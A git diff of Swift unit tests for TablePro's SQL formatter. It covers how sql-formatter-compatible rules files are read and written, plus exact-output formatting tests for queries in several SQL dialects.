+        #expect(object["tabWidth"] as? Int == 2)
+        #expect(object["commaPlacement"] as? String == "trailing")
         #expect(object["joinCondition"] as? String == "newLine")
+        #expect(object["logicalOperatorNewline"] as? String == "before")
+    }
+
+    @Test("A file TablePro writes holds no key sql-formatter refuses, and every shared key holds a value it accepts")
+    func fileIsReadableBySQLFormatter() throws {
+        for options in [SQLFormatterOptions.default, Self.custom] {
+            let data = try SQLFormatterRulesFile.encode(options)
+            let object = try #require(try JSONSerialization.jsonObject(with: data) as? [String: Any])
+            #expect(Set(object.keys).isDisjoint(with: Self.keysSQLFormatterRefuses))
+            for key in ["keywordCase", "functionCase", "dataTypeCase"] {
+                #expect(["preserve", "upper", "lower"].contains(object[key] as? String ?? ""))
+            }
+            #expect(["before", "after"].contains(object["logicalOperatorNewline"] as? String ?? ""))
+            #expect((object["tabWidth"] as? Int ?? 0) > 0)
+            #expect(object["useTabs"] is Bool)
+            #expect(object["indentStyle"] == nil)
+        }
+    }
+
+    @Test("A file written for sql-formatter is read, its shared rules applied and its own options ignored")
+    func sqlFormatterFileIsRead() throws {
+        let options = try decode("""
+            {
+              "$schema": "https://raw.githubusercontent.com/sql-formatter-org/sql-formatter/master/schema.json",
+              "language": "postgresql",
+              "tabWidth": 4,
+              "useTabs": true,
+              "keywordCase": "lower",
+              "dataTypeCase": "upper",
+              "functionCase": "upper",
+              "identifierCase": "lower",
+              "indentStyle": "tabularLeft",
+              "logicalOperatorNewline": "after",
+              "expressionWidth": 50,
+              "linesBetweenQueries": 2,
+              "denseOperators": false,
+              "newlineBeforeSemicolon": false,
+              "params": ["a"],
+              "paramTypes": {"positional": true, "named": [":"]}
+            }
+            """)
+        var expected = SQLFormatterOptions.default
+        expected.indentStyle = .tabs
+        expected.indentWidth = 4
+        expected.keywordCase = .lower
+        expected.dataTypeCase = .upper
+        expected.functionCase = .upper
+        expected.logicalOperatorNewline = .after
+        #expect(options == expected)
+    }
+
+    @Test("Every indent style sql-formatter documents is read", arguments: ["standard", "tabularLeft", "tabularRight"])
+    func sqlFormatterIndentStylesAreRead(style: String) throws {
+        #expect(try decode(#"{"indentStyle": "\#(style)", "tabWidth": 4}"#).indentWidth == 4)
     }
 
     @Test("A key the file leaves out takes the default")
@@ -50,24 +113,34 @@ struct SQLFormatterRulesTests {
         #expect(try decode("{}") == .default)
         var expected = SQLFormatterOptions.default
         expected.commaPosition = .leading
-        #expect(try decode(#"{"commaPosition": "leading"}"#) == expected)
+        #expect(try decode(#"{"commaPlacement": "leading"}"#) == expected)
+        var operators = SQLFormatterOptions.default
+        operators.logicalOperatorNewline = .after
+        #expect(try decode(#"{"logicalOperatorNewline": "after"}"#) == operators)
     }
 
-    @Test("A key this build does not know is ignored")
+    @Test("A key this build does not know is ignored, sql-formatter's refused commaPosition included")
     func unknownKeysAreIgnored() throws {
-        let options = try decode(#"{"language": "postgresql", "indentWidth": 4}"#)
+        let options = try decode(#"{"language": "postgresql", "tabWidth": 4, "indentWidth": 8, "commaPosition": "leading"}"#)
         #expect(options.indentWidth == 4)
+        #expect(options.commaPosition == .trailing)
     }
 
     @Test(
         "A value this build cannot read names its key",
         arguments: [
             (#"{"keywordCase": "title"}"#, "keywordCase"),
-            (#"{"indentWidth": 0}"#, "indentWidth"),
-            (#"{"indentWidth": 17}"#, "indentWidth"),
-            (#"{"indentWidth": "four"}"#, "indentWidth"),
+            (#"{"dataTypeCase": "title"}"#, "dataTypeCase"),
+            (#"{"tabWidth": 0}"#, "tabWidth"),
+            (#"{"tabWidth": 17}"#, "tabWidth"),
+            (#"{"tabWidth": "four"}"#, "tabWidth"),
+            (#"{"useTabs": "yes"}"#, "useTabs"),
             (#"{"lineWidth": -1}"#, "lineWidth"),
             (#"{"alignAliases": "yes"}"#, "alignAliases"),
+            (#"{"clauseItems": "below"}"#, "clauseItems"),
+            (#"{"logicalOperatorNewline": "end"}"#, "logicalOperatorNewline"),
+            (#"{"commaPlacement": "before"}"#, "commaPlacement"),
+            (#"{"indentStyle": "tabs"}"#, "indentStyle"),
         ]
     )
     func invalidValueNamesKey(json: String, key: String) {
@@ -120,6 +193,8 @@ struct SQLFormatterRulesTests {
         var rules = Self.custom
         rules.indentStyle = .spaces
         rules.lineWidth = 0
+        rules.clauseItems = .sameLine
+        rules.logicalOperatorNewline = .before
         var firstEditor = EditorSettings.default
         firstEditor.tabWidth = 8
         firstEditor.keywordCase = .upper
@@ -177,11 +252,42 @@ struct SQLFormatterRulesTests {
 
     @Test("A stored formatter value this build cannot read costs only that field")
     func storedInvalidValueFallsBackAlone() throws {
-        let json = #"{"commaPosition": "leading", "indentWidth": 99, "keywordCase": "title"}"#
+        let json = #"""
+            {"commaPosition": "leading", "indentWidth": 99, "keywordCase": "title",
+             "clauseItems": "below", "logicalOperatorNewline": "after", "dataTypeCase": "title"}
+            """#
         let settings = try JSONDecoder().decode(SQLFormatterSettings.self, from: Data(json.utf8))
         #expect(settings.rules.commaPosition == .leading)
         #expect(settings.rules.indentWidth == SQLFormatterOptions.default.indentWidth)
         #expect(settings.rules.keywordCase == SQLFormatterOptions.default.keywordCase)
+        #expect(settings.rules.clauseItems == SQLFormatterOptions.default.clauseItems)
+        #expect(settings.rules.logicalOperatorNewline == .after)
+        #expect(settings.rules.dataTypeCase == SQLFormatterOptions.default.dataTypeCase)
+    }
+
+    @Test("Stored settings keep the keys 0.83 wrote, so either build reads the other's")
+    func storedSettingsKeepTheirKeys() throws {
+        let stored = #"""
+            {"alignAliases": true, "commaPosition": "leading", "functionCase": "upper", "indentStyle": "tabs",
+             "indentWidth": 4, "joinCondition": "sameLine", "keywordCase": "lower", "lineWidth": 80,
+             "indentFollowsTabWidth": false, "keywordCaseFollowsEditor": false}
+            """#
+        let settings = try JSONDecoder().decode(SQLFormatterSettings.self, from: Data(stored.utf8))
+        let expected = SQLFormatterOptions(
+            indentStyle: .tabs, indentWidth: 4, keywordCase: .lower, functionCase: .upper,
+            commaPosition: .leading, lineWidth: 80, joinCondition: .sameLine, alignAliases: true
+        )
+        #expect(settings.rules == expected)
+
+        let written = try JSONEncoder().encode(settings)
+        let object = try #require(try JSONSerialization.jsonObject(with: written) as? [String: Any])
+        let oldKeys: Set<String> = [
+            "alignAliases", "commaPosition", "functionCase", "indentStyle", "indentWidth", "joinCondition", "keywordCase",
+            "lineWidth", "indentFollowsTabWidth", "keywordCaseFollowsEditor",
+        ]
+        #expect(oldKeys.isSubset(of: Set(object.keys)))
+        #expect(object["indentStyle"] as? String == "tabs")
+        #expect(object["commaPosition"] as? String == "leading")
     }
 
     @Test("Formatter settings round-trip with both follow choices")
@@ -256,7 +362,7 @@ struct SQLFormatterRulesTests {
     @Test("A file in a linked folder formats with the folder's rules, and other files with Settings")
     func ruleSourcePrefersFolderRules() throws {
         let sandbox = try Sandbox()
-        try sandbox.write("queries/.sql-formatter.json", #"{"commaPosition": "leading"}"#)
+        try sandbox.write("queries/.sql-formatter.json", #"{"commaPlacement": "leading"}"#)
         let file = try sandbox.write("queries/daily.sql")
         let folders = [sandbox.folder("queries")]
         var settings = SQLFormatterOptions.default
@@ -283,7 +389,7 @@ struct SQLFormatterRulesTests {
     @Test("A rules file that is a symlink to a regular file is read")
     func symlinkToFileIsRead() throws {
         let sandbox = try Sandbox()
-        let target = try sandbox.write("shared/rules.json", #"{"indentWidth": 4}"#)
+        let target = try sandbox.write("shared/rules.json", #"{"tabWidth": 4}"#)
         let link = sandbox.root.appendingPathComponent(".sql-formatter.json")
         try FileManager.default.createSymbolicLink(at: link, withDestinationURL: target)
         #expect(try SQLFormatterRulesFile.load(from: link).indentWidth == 4)
@@ -292,7 +398,7 @@ struct SQLFormatterRulesTests {
     @Test("An unreadable folder rules file refuses to format instead of using Settings")
     func unreadableFolderRulesThrow() throws {
         let sandbox = try Sandbox()
-        try sandbox.write("queries/.sql-formatter.json", #"{"indentWidth": "wide"}"#)
+        try sandbox.write("queries/.sql-formatter.json", #"{"tabWidth": "wide"}"#)
         let file = try sandbox.write("queries/daily.sql")
         #expect(throws: SQLFormatterFolderRulesError.self) {
             try SQLFormatterRuleSource.options(
diff --git a/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift b/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift
index 165362d51d..f95186b3c1 100644
--- a/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift
+++ b/apple/TableProTests/Core/Services/SQLFormatterServiceTests.swift
@@ -2,11 +2,10 @@
 //  SQLFormatterServiceTests.swift
 //  TableProTests
 //
-//  Tests for SQLFormatterService — exact output assertions for every SQL construct.
-//
 
 import Foundation
 import TableProPluginKit
+import TableProSQLGrammar
 @testable import TablePro
 import Testing
 
@@ -24,6 +23,19 @@ struct SQLFormatterServiceTests {
         return options
     }
 
+    private func expectFormat(
+        _ sql: String,
+        dialect: DatabaseType = .mysql,
+        options: SQLFormatterOptions = .default,
+        equals expected: String,
+        sourceLocation: SourceLocation = #_sourceLocation
+    ) throws {
+        let first = try formatter.format(sql, dialect: dialect, options: options).formattedSQL
+        #expect(first == expected, sourceLocation: sourceLocation)
+        let second = try formatter.format(first, dialect: dialect, options: options).formattedSQL
+        #expect(second == first, "a second pass changes the output", sourceLocation: sourceLocation)
+    }
+
     // MARK: - Simple SELECT
 
     @Test("Simple SELECT *")
@@ -444,15 +456,6 @@ struct SQLFormatterServiceTests {
         """)
     }
 
-    @Test("Window frame ROWS BETWEEN stays inline")
-    func windowFrameInline() throws {
-        let result = try format("select sum(x) over (order by id rows between unbounded preceding and current row) as running from t")
-        let lines = result.split(separator: "\n", omittingEmptySubsequences: false)
-        #expect(lines.count == 2)
-        #expect(lines[0].contains("ROWS BETWEEN"))
-        #expect(lines[1] == "FROM t")
-    }
-
     // MARK: - Set Operations Inside Subqueries and CTEs
 
     @Test("UNION inside a derived table keeps nesting and closes on its own line")
@@ -694,7 +697,7 @@ struct SQLFormatterServiceTests {
         #expect(result == """
         CREATE TABLE t (
           id int,
-          ts timestamp WITH time zone,
+          ts timestamp with time zone,
           name text CHARACTER SET utf8mb4,
           parent int REFERENCES p(id) ON DELETE CASCADE
         )
@@ -1002,6 +1005,1213 @@ struct SQLFormatterServiceTests {
         """)
     }
 
+    // MARK: - Lexing, layout and options
+
+    @Test("ORDER BY first in OVER keeps its space before the column")
+    func windowOrderByFirst() throws {
+        try expectFormat(
+            "select row_number() over (order by id desc) as rn from t",
+            equals: """
+        SELECT row_number() OVER(ORDER BY id DESC) AS rn
+        FROM t
+        """
+        )
+    }
+
+    @Test("Window frame ROWS BETWEEN stays inline")
+    func windowFrameInline() throws {
+        try expectFormat(
+            "select sum(x) over (order by id rows between unbounded preceding and current row) as running from t",
+            equals: """
+        SELECT sum(x) OVER(ORDER BY id ROWS BETWEEN unbounded preceding AND current row) AS running
+        FROM t
+        """
+        )
+    }
+
+    @Test("WITHIN GROUP keeps its ORDER BY inline and the SELECT list open")
+    func withinGroupKeepsSelectList() throws {
+        try expectFormat(
+            "select percentile_cont(0.5) within group (order by salary) as p, dept from t group by dept",
+            equals: """
+        SELECT percentile_cont(0.5) within GROUP (ORDER BY salary) AS p,
+               dept
+        FROM t
+        GROUP BY dept
+        """
+        )
+    }
+
+    @Test("A comment between a paren and SELECT opens the subquery on its own lines")
+    func commentBeforeSubquerySelect() throws {
+        let sql = """
+        select * from t where id in (
+          -- only active
+          select id from u where active)
+        """
+        try expectFormat(
+            sql,
+            equals: """
+        SELECT *
+        FROM t
+        WHERE id IN (
+          -- only active
+          SELECT id
+          FROM u
+          WHERE active
+        )
+        """
+        )
+    }
+
+    @Test("A block comment between EXISTS ( and SELECT keeps SELECT apart from its column")
+    func commentBeforeExistsSelect() throws {
+        try expectFormat(
+            "select * from t where exists (/* any */ select distinct id from u)",
+            dialect: .postgresql,
+            equals: """
+        SELECT *
+        FROM t
+        WHERE EXISTS (
+          /* any */
+          SELECT DISTINCT id
+          FROM u
+        )
+        """
+        )
+    }
+
+    @Test("SQL Server bracket names keep their spelling and spaces")
+    func bracketIdentifiers() throws {
+        try expectFormat(
+            "select [order id], [group] from [my table] where [select] = 1",
+            dialect: .mssql,
+            equals: """
+        SELECT [order id],
+               [group]
+        FROM [my table]
+        WHERE [select] = 1
+        """
+        )
+    }
+
+    @Test("A GO line stays a line of its own")
+    func batchSeparatorLine() throws {
+        let sql = """
+        select 1
+        GO
+        select 2
+        """
+        try expectFormat(
+            sql,
+            dialect: .mssql,
+            equals: """
+        SELECT 1
+        GO
+        SELECT 2
+        """
+        )
+    }
+
+    @Test("T-SQL temp tables and variables stay one word")
+    func tempTablesAndVariables() throws {
+        try expectFormat(
+            "select * from ##global where @@rowcount > 0 and x = @p and y in (select z from #tmp)",
+            dialect: .mssql,
+            equals: """
+        SELECT *
+        FROM ##global
+        WHERE @@rowcount > 0
+          AND x = @p
+          AND y IN (
+            SELECT z
+            FROM #tmp
+          )
+        """
+        )
+    }
+
+    @Test("A MySQL # comment ends at its line and the next condition stays code")
+    func hashCommentEndsAtLine() throws {
+        let sql = """
+        select * from t where a = 1 # keep only a
+        and b = 2
+        """
+        try expectFormat(
+            sql,
+            options: options { $0.lineWidth = 80 },
+            equals: """
+        SELECT *
+        FROM t
+        WHERE a = 1
+        # keep only a
+          AND b = 2
+        """
+        )
+    }
+
+    @Test("A dollar-quoted body is copied byte for byte")
+    func dollarQuotedBodyVerbatim() throws {
+        let sql = """
+        CREATE FUNCTION f() RETURNS int AS $$
+        if x:
+            return 1
+        return 2
+        $$ LANGUAGE plpython3u;
+        """
+        try expectFormat(
+            sql,
+            dialect: .postgresql,
+            options: options { $0.keywordCase = .preserve },
+            equals: sql
+        )
+    }
+
+    @Test("E'' keeps its prefix and a backslash in a plain PostgreSQL string ends nothing")
+    func escapeStringPrefix() throws {
+        try expectFormat(
+            #"select E'a\'b' as s, 'C:\', 'hello   world' from t"#,
+            dialect: .postgresql,
+            equals: #"""
+        SELECT E'a\'b' AS s,
+               'C:\',
+               'hello   world'
+        FROM t
+        """#
+        )
+    }
+
+    @Test("Oracle q-quoted literal stays whole")
+    func alternativeQuoting() throws {
+        try expectFormat(
+            "select q'[it's]' as s from dual",
+            dialect: .oracle,
+            equals: """
+        SELECT q'[it's]' AS s
+        FROM dual
+        """
+        )
+    }
+
+    @Test("A SQL*Plus slash line stays a line of its own")
+    func sqlPlusSlashLine() throws {
+        let sql = """
+        create table t (a int)
+        /
+        select a / 2 from dual
+        """
+        try expectFormat(
+            sql,
+            dialect: .oracle,
+            equals: """
+        CREATE TABLE t (
+          a int
+        )
+        /
+        SELECT a / 2
+        FROM dual
+        """
+        )
+    }
+
+    @Test("A MySQL DELIMITER block keeps its delimiter lines and terminator")
+    func delimiterDirective() throws {
+        let sql = """
+        DELIMITER //
+        create procedure p() begin select 1; end //
+        DELIMITER ;
+        select 2;
+        """
+        try expectFormat(
+            sql,
+            equals: """
+        DELIMITER //
+        CREATE procedure p() BEGIN
+        SELECT 1;
+        END //
+        DELIMITER ;
+        SELECT 2;
+        """
+        )
+    }
+
+    @Test("PostgreSQL operators stay whole")
+    func postgresOperators() throws {
+        try expectFormat(
+            "select * from t where tags @> array['x'] and a <@ b and d ?| array['a'] and j #>> '{a}' = 'x' and s ~* 'x' and s !~ 'y' and v <=> '[1,2,3]' and p && q and make_interval(days => 10) > x",
+            dialect: .postgresql,
+            equals: """
+        SELECT *
+        FROM t
+        WHERE tags @> array['x']
+          AND a <@ b
+          AND d ?| array['a']
+          AND j #>> '{a}' = 'x'
+          AND s ~* 'x'
+          AND s !~ 'y'
+          AND v <=> '[1,2,3]'
+          AND p && q
+          AND make_interval(days => 10) > x
+        """
+        )
+    }
+
+    @Test("MySQL system variables, assignment and null-safe equality stay whole")
+    func mysqlOperators() throws {
+        try expectFormat(
+            "select @@version, @a := 1, a <=> b, c << 2 from t",
+            equals: """
+        SELECT @@version,
+               @a := 1,
+               a <=> b,
+               c << 2
+        FROM t
+        """
+        )
+    }
+
+    @Test("A literal prefix stays on its literal")
+    func prefixedLiterals() throws {
+        try expectFormat(
+            "select 0xFF, flags & 0x04, N'abc', X'4D', B'101', _utf8mb4'a' from t",
+            equals: """
+        SELECT 0xFF,
+               flags & 0x04,
+               N'abc',
+               X'4D',
+               B'101',
+               _utf8mb4'a'
+        FROM t
+        """
+        )
+    }
+
+    @Test("An @ parameter whose name starts with a digit stays one word")
+    func atParametersKeepDigitLeadingNames() throws {
+        try expectFormat(
+            "select @1, @1ab from t where a = @1",
+            dialect: .sqlite,
+            equals: """
+        SELECT @1,
+               @1ab
+        FROM t
+        WHERE a = @1
+        """
+        )
+    }
+
+    @Test("An alias written without AS keeps its spelling, and APPLY is a keyword only after CROSS or OUTER")
+    func implicitAliasesKeepTheirSpelling() throws {
+        try expectFormat("SELECT 1 apply ORDER BY apply", dialect: .clickhouse, equals: "SELECT 1 apply\nORDER BY apply")
+        try expectFormat(
+            "SELECT 1 rows, x date, y key FROM t FINAL WHERE a = 1",
+            dialect: .clickhouse,
+            equals: """
+        SELECT 1 rows,
+               x date,
+               y key
+        FROM t FINAL
+        WHERE a = 1
+        """
+        )
+        try expectFormat(
+            "select a.b key, c value, count(*) total from t first where x = 1 order by key desc",
+            equals: """
+        SELECT a.b key,
+               c value,
+               count(*) total
+        FROM t first
+        WHERE x = 1
+        ORDER BY key DESC
+        """
+        )
+        try expectFormat(
+            "select x date from t date",
+            options: options { $0.dataTypeCase = .upper },
+            equals: "SELECT x date\nFROM t date"
+        )
+        try expectFormat(
+            "select * from a cross apply f(a.id) x outer apply g(a.id) y",
+            dialect: .mssql,
+            equals: """
+        SELECT *
+        FROM a
+        CROSS APPLY f(a.id) x
+        OUTER APPLY g(a.id) y
+        """
+        )
+    }
+
+    @Test("A table named like a keyword keeps its spelling before its alias")
+    func tableNamedLikeAKeywordBeforeItsAlias() throws {
+        try expectFormat(
+            "select * from apply a join apply b on a.id = b.id; update apply x set y = 1; insert into apply values (1)",
+            equals: """
+        SELECT *
+        FROM apply a
+        JOIN apply b
+          ON a.id = b.id;
+        UPDATE apply x
+        SET y = 1;
+        INSERT INTO apply
+        VALUES (1)
+        """
+        )
+        try expectFormat(
+            "select * from only t x; select * from t join lateral f(t.id) z on true",
+            dialect: .postgresql,
+            equals: """
+        SELECT *
+        FROM ONLY t x;
+        SELECT *
+        FROM t
+        JOIN LATERAL f(t.id) z
+          ON TRUE
+        """
+        )
+    }
+
+    @Test("The word after a T-SQL variable is a type only where the variable is declared")
+    func variableTypesOnlyInDeclarations() throws {
+        let upper = options { $0.dataTypeCase = .upper }
+        try expectFormat(
+            "SELECT date.id FROM @rows date; SELECT @x date; SELECT @x AS date",
+            dialect: .mssql,
+            options: upper,
+            equals: """
+        SELECT date.id
+        FROM @rows date;
+        SELECT @x date;
+        SELECT @x AS date
+        """
+        )
+        try expectFormat(
+            "DECLARE @a int, @b date; DECLARE @c AS varchar(10) = 'x'",
+            dialect: .mssql,
+            options: upper,
+            equals: "DECLARE @a INT, @b DATE;\nDECLARE @c AS VARCHAR(10) = 'x'"
+        )
+        try expectFormat(
+            "CREATE PROCEDURE p @a int, @b date = NULL AS SELECT @a date",
+            dialect: .mssql,
+            options: upper,
+            equals: "CREATE PROCEDURE p @a INT, @b DATE = NULL AS\nSELECT @a date"
+        )
+        try expectFormat(
+            "DECLARE @t TABLE (id int, d date); SELECT d date FROM @t",
+            dialect: .mssql,
+            options: upper,
+            equals: "DECLARE @t TABLE (id INT, d DATE);\nSELECT d date\nFROM @t"
+        )
+    }
+
+    @Test("A quoted column name declares its type like a plain one")
+    func quotedColumnNamesTakeTypeCase() throws {
+        let upper = options { $0.dataTypeCase = .upper }
+        try expectFormat(
+            #"CREATE TABLE t ("id" integer, "Name" text); ALTER TABLE t ADD COLUMN "d" date, ALTER COLUMN "e" TYPE text"#,
+            dialect: .postgresql,
+            options: upper,
+            equals: #"""
+        CREATE TABLE t (
+          "id" INTEGER,
+          "Name" TEXT
+        );
+        ALTER TABLE t ADD COLUMN "d" DATE, ALTER COLUMN "e" TYPE TEXT
+        """#
+        )
+        try expectFormat(
+            #"CREATE FUNCTION f("a" integer, b text) RETURNS integer AS $$ select 1 $$ LANGUAGE sql"#,
+            dialect: .postgresql,
+            options: options {
+                $0.dataTypeCase = .upper
+                $0.keywordCase = .preserve
+            },
+            equals: #"CREATE FUNCTION f("a" INTEGER, b TEXT) RETURNS INTEGER AS $$ select 1 $$ LANGUAGE sql"#
+        )
+        try expectFormat(
+            "CREATE TABLE t ([id] int, [d] date); ALTER TABLE t ADD [x] int; ALTER TABLE t ALTER COLUMN [y] date; "
+                + "DECLARE @t TABLE ([a] int)",
+            dialect: .mssql,
+            options: upper,
+            equals: """
+        CREATE TABLE t (
+          [id] INT,
+          [d] DATE
+        );
+        ALTER TABLE t ADD [x] INT;
+        ALTER TABLE t ALTER COLUMN [y] DATE;
+        DECLARE @t TABLE ([a] INT)
+        """
+        )
+        try expectFormat(
+            "CREATE TABLE t (`id` int, `d` date); ALTER TABLE t ADD `x` int, MODIFY COLUMN `y` datetime, MODIFY `z` text",
+            options: upper,
+            equals: """
+        CREATE TABLE t (
+          `id` INT,
+          `d` DATE
+        );
+        ALTER TABLE t ADD `x` INT, MODIFY COLUMN `y` DATETIME, MODIFY `z` TEXT
+        """
+        )
+        try expectFormat(
+            #"select "date", date from t where "d" = 1"#,
+            dialect: .postgresql,
+            options: upper,
+            equals: #"SELECT "date",\#n       date\#nFROM t\#nWHERE "d" = 1"#
+        )
+    }
+
+    @Test("A multi-word type takes the data type case as one type")
+    func multiWordTypesTakeOneCase() throws {
+        try expectFormat(
+            "select x::CHARACTER VARYING(20), y::TIMESTAMP WITH TIME ZONE, z::DOUBLE PRECISION, w::BIT VARYING(3) from t",
+            dialect: .postgresql,
+            options: options { $0.dataTypeCase = .lower },
+            equals: """
+        SELECT x :: character varying(20),
+               y :: timestamp with time zone,
+               z :: double precision,
+               w :: bit varying(3)
+        FROM t
+        """
+        )
+        try expectFormat(
+            "create table t (a double precision, b timestamp without time zone, c character varying(10))",
+            dialect: .postgresql,
+            options: options { $0.dataTypeCase = .upper },
+            equals: """
+        CREATE TABLE t (
+          a DOUBLE PRECISION,
+          b TIMESTAMP WITHOUT TIME ZONE,
+          c CHARACTER VARYING(10)
+        )
+        """
+        )
+    }
+
+    @Test("A custom delimiter glued to the word before it still ends the statement")
+    func customDelimiterEndsAGluedWord() throws {
+        let procedure = """
+        DELIMITER $$
+        CREATE PROCEDURE p()
+        BEGIN
+          SELECT 1;
+        END$$
+        DELIMITER ;
+        SELECT 2;
+        """
+        try expectFormat(
+            procedure,
+            equals: """
+        DELIMITER $$
+        CREATE PROCEDURE p() BEGIN
+        SELECT 1;
+        END $$
+        DELIMITER ;
+        SELECT 2;
+        """
+        )
+        try expectFormat(
+            "DELIMITER $$\nCREATE FUNCTION f() RETURNS INT DETERMINISTIC\nRETURN 1$$\nDELIMITER ;\nSELECT f();",
+            equals: """
+        DELIMITER $$
+        CREATE FUNCTION f() RETURNS INT DETERMINISTIC RETURN 1 $$
+        DELIMITER ;
+        SELECT f();
+        """
+        )
+    }
+
+    @Test("Operators no dialect declares stay whole")
+    func undeclaredOperatorsStayWhole() throws {
+        try expectFormat(
+            "SET @x += 1; SET @x -= 1; SET @x *= 2; SET @x /= 2; SET @x %= 2; SET @x &= 1; SET @x |= 1; SET @x ^= 1",
+            dialect: .mssql,
+            equals: """
+        SET @x += 1;
+        SET @x -= 1;
+        SET @x *= 2;
+        SET @x /= 2;
+        SET @x %= 2;
+        SET @x &= 1;
+        SET @x |= 1;
+        SET @x ^= 1
+        """
+        )
+        for dialect in [DatabaseType.sqlite, .clickhouse] {
+            try expectFormat("select * from t where a == b", dialect: dialect, equals: "SELECT *\nFROM t\nWHERE a == b")
+        }
+        try expectFormat(
+            "select * from t where a ^= b and y ** 2 > 1 and c ~= d",
+            dialect: .oracle,
+            equals: """
+        SELECT *
+        FROM t
+        WHERE a ^= b
+          AND y ** 2 > 1
+          AND c ~= d
+        """
+        )
+        try expectFormat("select 7 // 2, 2 ** 3", dialect: .duckdb, equals: "SELECT 7 // 2,\n       2 ** 3")
+    }
+
+    @Test("A T-SQL name keeps a # or @ after its first character")
+    func tsqlNamesKeepHashAndAt() throws {
+        try expectFormat(
+            "SELECT Part# FROM Parts; SELECT a#b, c@d FROM t WHERE @v@x = 1",
+            dialect: .mssql,
+            equals: """
+        SELECT Part#
+        FROM Parts;
+        SELECT a#b,
+               c@d
+        FROM t
+        WHERE @v@x = 1
+        """
+        )
+    }
+
+    @Test("Two string literals continued across a line break keep the break", arguments: [DatabaseType.postgresql, .duckdb])
+    func stringContinuationKeepsItsLineBreak(dialect: DatabaseType) throws {
+        try expectFormat(
+            "select 'foo'\n'bar' as s, 'x' from t",
+            dialect: dialect,
+            equals: """
+        SELECT 'foo'
+               'bar' AS s,
+               'x'
+        FROM t
+        """
+        )
+    }
+
+    @Test("A keyword-named column before an operator or a subscript keeps its spelling")
+    func keywordNamedColumnBeforeOperator() throws {
+        try expectFormat(
+            "SELECT table, rows + marks, key[1], rows::String, bytes - 1, bytes * 2 FROM system.parts",
+            dialect: .clickhouse,
+            equals: """
+        SELECT table,
+               rows + marks,
+               key[1],
+               rows :: String,
+               bytes - 1,
+               bytes * 2
+        FROM system.parts
+        """
+        )
+        try expectFormat(
+            "select distinct * from t; select array[1, 2], tags[1] from t",
+            dialect: .postgresql,
+            equals: """
+        SELECT DISTINCT *
+        FROM t;
+        SELECT array[1, 2],
+               tags[1]
+        FROM t
+        """
+        )
+    }
+
+    @Test("A word written against a quote stays against it, whether or not it introduces the literal")
+    func wordAgainstQuoteStaysAgainstIt() throws {
+        try expectFormat(
+            "select r'abc', b'0101', a'alias' from t",
+            equals: """
+        SELECT r'abc',
+               b'0101',
+               a'alias'
+        FROM t
+        """
+        )
+    }
+
+    @Test("U& and E prefixes stay on their literals")
+    func unicodeEscapeLiteral() throws {
+        try expectFormat(
+            #"select U&'d\0061t' as u, E'x' from t"#,
+            dialect: .postgresql,
+            equals: #"""
+        SELECT U&'d\0061t' AS u,
+               E'x'
+        FROM t
+        """#
+        )
+    }
+
+    @Test("OUTER APPLY and CROSS APPLY start their own lines and keep OUTER")
+    func outerApply() throws {
+        try expectFormat(
+            "select * from a outer apply f(a.id) x cross apply g(a.id) y",
+            dialect: .mssql,
+            equals: """
+        SELECT *
+        FROM a
+        OUTER APPLY f(a.id) x
+        CROSS APPLY g(a.id) y
+        """
+        )
+    }
+
+    @Test("A CREATE VIEW's calls keep their parens")
+    func createViewCallsKeepParens() throws {
+        try expectFormat(
+            "create view v as select id, count(*) as n from t group by id",
+            equals: """
+        CREATE VIEW v AS
+        SELECT id,
+               count(*) AS n
+        FROM t
+        GROUP BY id
+        """
+        )
+    }
+
+    @Test("CREATE TABLE AS SELECT has no column list")
+    func createTableAsSelect() throws {
+        try expectFormat(
+            "create table t2 as select now() as ts",
+            equals: """
+        CREATE TABLE t2 AS
+        SELECT now() AS ts
+        """
+        )
+    }
+
+    @Test("As written keeps the spelling of every word of a multi-word keyword")
+    func preserveKeepsEveryWord() throws {
+        try expectFormat(
+            "select a from t Left Outer Join u on t.id = u.id order By a union All select b from s; Insert Into t values (1)",
+            options: options { $0.keywordCase = .preserve },
+            equals: """
+        select a
+        from t
+        Left Outer Join u
+          on t.id = u.id
+        order By a
+
+        union All
+
+        select b
+        from s;
+        Insert Into t
+        values (1)
+        """
+        )
+    }
+
+    @Test("ClickHouse columns named like keywords keep their case")
+    func clickHouseKeywordColumns() throws {
+        try expectFormat(
+            "SELECT database, table, name, type, default_kind FROM system.columns WHERE database = 'default' AND table = 'hits'",
+            dialect: .clickhouse,
+            equals: """
+        SELECT database,
+               table,
+               name,
+               type,
+               default_kind
+        FROM system.columns
+        WHERE database = 'default'
+          AND table = 'hits'
+        """
+        )
+    }
+
+    @Test("A keyword standing where a name stands keeps its spelling")
+    func keywordNamedColumns() throws {
+        try expectFormat(
+            "select key, value, first, last from kv order by key desc",
+            dialect: .clickhouse,
+            equals: """
+        SELECT key,
+               value,
+               first,
+               last
+        FROM kv
+        ORDER BY key DESC
+        """
+        )
+    }
+
+    @Test("A ClickHouse column list keeps keyword-named columns and type names")
+    func clickHouseColumnList() throws {
+        try expectFormat(
+            "CREATE TABLE kv (key String, value String) ENGINE = MergeTree ORDER BY key",
+            dialect: .clickhouse,
+            options: options { $0.dataTypeCase = .upper },
+            equals: """
+        CREATE TABLE kv (
+          key String,
+          value String
+        ) ENGINE = MergeTree
+        ORDER BY key
+        """
+        )
+    }
+
+    @Test("A nested CASE lines up under the line it starts on")
+    func nestedCase() throws {
+        try expectFormat(
+            "select case when a = 1 then case when b = 2 then 'x' else 'y' end else 'w' end as v from t",
+            equals: """
+        SELECT CASE
+                 WHEN a = 1 THEN CASE
+                   WHEN b = 2 THEN 'x'
+                   ELSE 'y'
+                 END
+                 ELSE 'w'
+               END AS v
+        FROM t
+        """
+        )
+    }
+
+    @Test("A subquery in a SELECT item sits under its column")
+    func subqueryInSelectItem() throws {
+        try expectFormat(
+            "select id, (select max(o.total) from orders o where o.user_id = u.id) as top_order, name from users u",
+            equals: """
+        SELECT id,
+               (
+                 SELECT max(o.total)
+                 FROM orders o
+                 WHERE o.user_id = u.id
+               ) AS top_order,
+               name
+        FROM users u
+        """
+        )
+    }
+
+    @Test("A subquery on an AND line sits under that line")
+    func subqueryOnAndLine() throws {
+        try expectFormat(
+            "select * from t where a = 1 and exists (select 1 from u where u.id = t.id)",
+            equals: """
+        SELECT *
+        FROM t
+        WHERE a = 1
+          AND EXISTS (
+            SELECT 1
+            FROM u
+            WHERE u.id = t.id
+          )
+        """
+        )
+    }
+
